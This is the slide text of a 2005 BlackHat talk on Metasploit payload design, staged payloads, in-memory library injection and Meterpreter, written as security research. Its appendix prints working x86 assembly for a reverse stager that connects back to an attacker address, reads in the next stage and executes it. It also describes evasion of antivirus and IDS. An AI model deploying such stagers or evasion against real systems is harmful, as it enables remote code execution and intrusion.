

Beyond EIP

spoonm & skape

BlackHat, 2005

Part I

Introduction

Who are we?

- ▶ spoonm

- ▶ Full-time student
- ▶ Metasploit developer since late 2003

- ▶ skape

- ▶ Lead software developer by day
- ▶ Independent security researcher by night
- ▶ Joined the Metasploit project in 2004
- ▶ Responsible for all cool features

What's this presentation about?

- ▶ What it's not about
 - ▶ New exploit / attack vectors
 - ▶ New exploitation techniques
 - ▶ 0day, bugs, etc

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- ▶ What it is about
 - ▶ What you can do after owning EIP
 - ▶ The techniques to do it
 - ▶ Our tools to support it

Plan of attack

- ▶ Payload Infrastructure
 - ▶ Payload composition
 - ▶ How payloads work
 - ▶ Recent tools, tricks, and techniques
- ▶ Post-exploitation tools
 - ▶ Background & review of existing tools
 - ▶ The technology behind our tools
 - ▶ How they can be used
 - ▶ Crazy cool features for the end-user

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- ▶ **Pre-exploitation** - Before the attack
 - ▶ Find a bug, isolate, write exploit
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 - ▶ Launch the exploit
- ▶ **Post-exploitation** - Manipulating the target
 - ▶ Arbitrary command execution
 - ▶ Command execute via shell
 - ▶ File access, VNC, pivoting, etc
 - ▶ Advanced payload interaction

Part II

Payload Infrastructure

Anatomy of a Payload

[nops] [decoder (encoded payload)]

- ▶ **Nop sled**

- ▶ For exploits where return is uncertain
- ▶ Control flows through the sled into the encoder
- ▶ Generally 1 byte aligned for x86

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- ▶ Typically provides a command shell

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- ▶ Execution falls through to the payload

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- ▶ Not all vulnerabilities have predictable return addresses
 - ▶ Particularly useful when brute forcing
- ▶ Using a sled can improve exploit quality
 - ▶ Increasing the brute force step size decreases number of attempts

Nop sled technology

Existing technology

- ▶ `perl -e 'print "\x90" x $ARGV[0]'` sled_size
- ▶ ADMutate - single-byte x86

Metasploit technology

- ▶ Opty2 multi-byte sled generator
- ▶ Based on Optyx's multi-byte sled generator

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- ▶ Original payload is executed

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- ▶ Survive application translations (unicode, toupper)
- ▶ IDS evasion
 - ▶ Static string signatures (`/bin/sh`)
 - ▶ Specific payload and payload pattern signatures

Encoder technology

Existing technology

- ▶ XOR
 - ▶ Defacto standard for encoders
 - ▶ Typically performed on a byte, word, or dword basis
 - ▶ Variable or static key
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- ▶ Alphanumeric / Unicode
 - ▶ Rix's x86 encoder from Phrack 57
 - ▶ SkyLined's Alpha2 x86 ascii and unicode encoder
 - ▶ Dave Aitel and FX's unicode encoders

Metasploit technology

- ▶ Shikata Ga Nai

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▶ **Stage**

- ▶ Similar to a single payload, but takes advantage of staging
- ▶ Uses connection passed from the stager
- ▶ Not subject to size limitations of individual vulnerabilities
- ▶ A stager can also be a stage

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Payload stagers

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 - ▶ Establish connection to attacker (reverse, portbind, findsock)
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 - ▶ Setup connection information and branch to stage
- ▶ The three steps make it so stages are independent of the connection method
 - ▶ No need to have command shell payloads for reverse, portbind, and findsock

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- ▶ Eliminate the need to re-implement payloads for each connection method
- ▶ Provides an abstraction level for loading code onto a remote machine through any medium

Existing payload stager technology

- ▶ Standard reverse, portbind, and findsock stagers included in Metasploit 2.2+
- ▶ LSD Win32 Assembly Components
- ▶ Found in public exploits (Solar Eclipse OpenSSL)

Payload stages

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- ▶ Some examples of payload stages include
 - ▶ Execute a command shell and redirect IO to the attacker
 - ▶ Execute an arbitrary command (ex adduser)
 - ▶ Download an executable from a URL and execute it

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- ▶ Can conform to some sort of ABI
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- ▶ This means they can be arbitrarily complex

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- ▶ Generally have more features because they're easier to write
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- ▶ The system's infrastructure makes the payloads more capable
- ▶ Help to reduce the tediousness of writing payloads
- ▶ Stealth's Hellkit
- ▶ Core ST's InlineEgg
- ▶ Philippe's Shellforge
- ▶ Dave Aitel's MOSDEF

Windows ordinal stagers

- ▶ Technique from Oded's lightning talk at core04
- ▶ Uses static ordinals in `WS2_32.DLL` to locate symbol addresses
- ▶ Compatible with all versions of Windows (including 9X)
- ▶ Results in very low-overhead symbol resolution
- ▶ Facilitates implementation of reverse, portbind, and findsock stagers
- ▶ Leads to very tiny win32 stagers (92 byte reverse, 93 byte findsock)
- ▶ Detailed write-up can be found in reference materials

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- ▶ Very few PE files use known-static ordinals, but `WS2_32.DLL` is one that does
 - ▶ 30 symbols use static ordinals in `WS2_32.DLL`

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 - ▶ `WSASocketA` is not among them
- ▶ Can't initialize winsock if it isn't initialized
 - ▶ `WSAStartup` doesn't have a static ordinal
- ▶ Can't use sockets as direct standard I/O handles
 - ▶ Sockets returned from `socket` aren't valid console handles
 - ▶ Must use pipes instead

Implementing a reverse ordinal stager

- ▶ Locate the base address of `WS2_32.DLL`
 - ▶ Extract the `Peb->Ldr` pointer
 - ▶ Extract `Flink` from the `InInitOrderModuleList`
 - ▶ Loop through loaded modules comparing module names
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 - ▶ Use static ordinals to index the `Export Directory Address Table`
- ▶ Allocate a socket, connect to the attacker, and read in the next payload
- ▶ Requires that `WS2_32.DLL` already be loaded in the target process

Part III

Post Exploitation

What is post-exploitation?

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- ▶ Manipulation of a target begins in post-exploitation
 - ▶ Command shells are executed
 - ▶ Files are downloaded
- ▶ Represents the culmination of the exploitation cycle

What do most people do in post-exploitation?

- ▶ Most people spawn a command shell
 - ▶ Poor automation support
 - ▶ Reliant on the shell's intrinsic commands
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 - ▶ Poor automation support
 - ▶ Reliant on the shell's intrinsic commands
 - ▶ Limited to installed applications
 - ▶ Can't provide advanced features
- ▶ Some people use syscall proxies
 - ▶ Good automation support
 - ▶ Partial or full access to target native API
 - ▶ Can be clumsy when implementing complex features
 - ▶ Typically require specialized build steps

DispatchNinja - Caveman Post Exploitation

- ▶ The idea is to have interactive shellcode
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- ▶ First stage loops, reading/executing code
- ▶ DispatchNinja "modules" are sent and executed
- ▶ This is what we call "dispatching"

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- ▶ Modules are responsible for their own mini-protocols
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- ▶ Modules have a simple C ABI, and have a main function
- ▶ Most of our dN modules were written in C (shellforge)

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- ▶ Client side APIs wrap handler and module code
- ▶ Msf3 has ruby dN client side APIs
- ▶ APIs modeled after the ruby APIs (Dir, File, etc)
- ▶ Our APIs should support the majority of Ruby functionality

```
irb#1(main):001:0> c = @c
=> #<Rex::Post::DispatchNinja::Client:0xb7bf542c
    @sock=#<TCPSocket:0xb7bf5440>>
irb#1(main):002:0> c.dir.entries('/tmp')
=> [".", "..", ".X11-unix", ".ICE-unix", ".font-unix"]

irb#1(main):004:0> puts c.file.stat('/etc/passwd').pretty
  Size: 1036   Blocks: 8   IO Block: 4096   Type: 0
Device: 774   Inode: 81499   Links: 1
  Mode: 100644/rw-r--r--
  Uid: 0   Gid: 0
Access: Tue Jul 26 20:08:09 EDT 2005
Modify: Wed Jul 06 20:45:04 EDT 2005
Change: Wed Jul 06 20:45:04 EDT 2005
=> nil

irb#1(main):005:0> Process.pid
=> 1496
irb#1(main):006:0> c.process.pid
=> 1498
```

What is Meterpreter?

- ▶ Short for *Meta-Interpreter*
- ▶ An advanced post-exploitation system
- ▶ Based on library injection technology
- ▶ First released with Metasploit 2.3
- ▶ Detailed write-up can be found in reference materials

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- ▶ But before understanding Meterpreter, one should understand library injection...

Library injection

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Types of library injection

- ▶ Two primary methods exist to inject a library
 1. **On-Disk**: loading a library from the target's harddrive or a file share
 2. **In-Memory**: loading a library entirely from memory
- ▶ Both are conceptually portable to non-Windows platforms

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- ▶ Loading a library from a file share was first discussed by Brett Moore
- ▶ On-Disk injection is subject to filtering by Antivirus due to filesystem access
- ▶ Requires that the library file exist on the target's harddrive or that the file share be reachable

In-Memory library injection

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- ▶ No disk access means no forensic trace if the machine loses power

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- ▶ `NTDLL.DLL` only supports loading libraries from disk
- ▶ To load libraries from memory, `NTDLL.DLL` must be tricked
- ▶ When loading libraries, low-level system calls are used to interact with the file on disk
 - ▶ `NtOpenFile`
 - ▶ `NtCreateSection`
 - ▶ `NtMapViewOfSection`
- ▶ These routines can be hooked to change their behavior to operate against a memory region

In-Memory library injection on Windows

- ▶ Library loading on Windows is provided through `NTDLL.DLL`
- ▶ `NTDLL.DLL` only supports loading libraries from disk
- ▶ To load libraries from memory, `NTDLL.DLL` must be tricked
- ▶ When loading libraries, low-level system calls are used to interact with the file on disk
 - ▶ `NtOpenFile`
 - ▶ `NtCreateSection`
 - ▶ `NtMapViewOfSection`
- ▶ These routines can be hooked to change their behavior to operate against a memory region
- ▶ Once hooked, calling `LoadLibraryA` with a unique pseudo file name is all that's needed

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 - ▶ Requires loading dependent DLLs
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 - ▶ Requires loading dependent DLLs
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 - ▶ Other uncommon PE features that wouldn't be supported
- ▶ No compelling reason to re-implement what is already supplied in `NTDLL.DLL`

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- ▶ Extremely useful when illustrating security weaknesses
- ▶ Suits understand mouse movement much better than command lines

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 - ▶ **Extensible**: run-time augmentation of features with extensions
- ▶ Portability also a design consideration
 - ▶ The current server implementation is only for Windows

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- ▶ All non-critical features should be implemented by extensions

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 - ▶ Value is zero or more embedded TLVs
- ▶ TLVs make packet parsing simplistic and flexible
 - ▶ No formatting knowledge is required to parse the packet outside of the TLV structure

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- ▶ Metasploit 2.x has a perl Meterpreter client
- ▶ Metasploit 3.x will use a ruby Meterpreter client

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- ▶ Client can begin sending commands for the new extension

Meterpreter extensions in action: Stdapi

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- ▶ Provides access to standard OS features
- ▶ Feature set provides for robust client-side automation
- ▶ Designed to mirror the Ruby API to make it easy to use existing scripts against targets

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 - ▶ RPC-like protocol allows arbitrarily complex tasks to be performed with a common interface
 - ▶ Extension-based architecture makes Meterpreter completely flexible
- ▶ Use of in-memory library injection makes it possible to run in a stealth fashion

Some of the features Meterpreter can offer

- ▶ Command execution & manipulation
- ▶ Registry interaction
- ▶ File system interaction
- ▶ Network pivoting & port forwarding
- ▶ Complete native API proxying
- ▶ Anything you can do as a native DLL, Meterpreter can do!
- ▶ Sky's the limit!

Part IV

Demos

Part V

Conclusion

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- ▶ Exploitation vectors and techniques are mature
- ▶ Public post-exploitation suites still very weak
- ▶ However, post-exploitation is maturing
- ▶ Metasploit 3.0 should be cool

Reference Material

Payload Stagers

- ▶ PassiveX

<http://www.uninformed.org/?v=1&a=3&t=sumry>

Payload Stages

- ▶ Library Injection

<http://www.nologin.org/Downloads/Papers/remote-library-injection.pdf>

- ▶ Meterpreter

<http://www.nologin.org/Downloads/Papers/meterpreter.pdf>

Part VI

Appendix

Part VII

Appendix: Payload Stagers

Locating WS2_32.DLL's base address

```
FC          cld          ; clear direction (lodsd)
31DB       xor ebx,ebx   ; zero ebx
648B4330   mov eax,[fs:ebx+0x30] ; eax = PEB
8B400C     mov eax,[eax+0xc] ; eax = PEB->Ldr
8B501C     mov edx,[eax+0x1c] ; edx = Ldr->InitList.Flink
8B12       mov edx,[edx]   ; edx = LdrModule->Flink
8B7220     mov esi,[edx+0x20] ; esi = LdrModule->DllName
AD         lodsd         ; eax = [esi] ; esi += 4
AD         lodsd         ; eax = [esi] ; esi += 4
4E         dec esi       ; esi--
0306      add eax,[esi]   ; eax = eax + [esi]
           ; (4byte unicode->ANSI)
3D32335F32 cmp eax,0x325f3332    ; eax == 2_32?
75EF      jnz 0xd        ; not equal, continue loop
```

Resolve symbols using static ordinals

```
8B6A08    mov ebp, [edx+0x8]      ; ebp = LdrModule->BaseAddr
8B453C    mov eax, [ebp+0x3c]    ; eax = DosHdr->e_lfanew
8B4C0578  mov ecx, [ebp+eax+0x78]; ecx = Export Directory
8B4C0D1C  mov ecx, [ebp+ecx+0x1c]; ecx = Address Table Rva
01E9     add ecx, ebp           ; ecx += ws2base
8B4158    mov eax, [ecx+0x58]    ; eax = socket rva
01E8     add eax, ebp           ; eax += ws2base
8B713C    mov esi, [ecx+0x3c]    ; esi = recv rva
01EE     add esi, ebp           ; esi += ws2base
03690C    add ebp, [ecx+0xc]    ; ebp += connect rva
```

Create the socket, connect back, recv, and jump

```
; Use chained call-stacks to save space
; connect returns to recv returns to buffer (fd in edi)
53          push ebx          ; push 0
6A01        push byte +0x1    ; push SOCK_STREAM
6A02        push byte +0x2    ; push AF_INET
FFD0        call eax          ; call socket
97          xchg eax,edi      ; edi = fd
687F000001 push dword 0x100007f ; push sockaddr_in
68020010E1 push dword 0xe1100002
89E1        mov ecx,esp       ; ecx = &sockaddr_in
53          push ebx          ; push flags (0)
B70C        mov bh,0xc        ; ebx = 0x0c00
53          push ebx          ; push length (0xc00)
51          push ecx          ; push buffer
57          push edi          ; push fd
51          push ecx          ; push buffer
6A10        push byte +0x10   ; push addrlen (16)
51          push ecx          ; push &sockaddr_in
57          push edi          ; push fd
56          push esi          ; push recv
FFE5        jmp ebx          ; call connect
```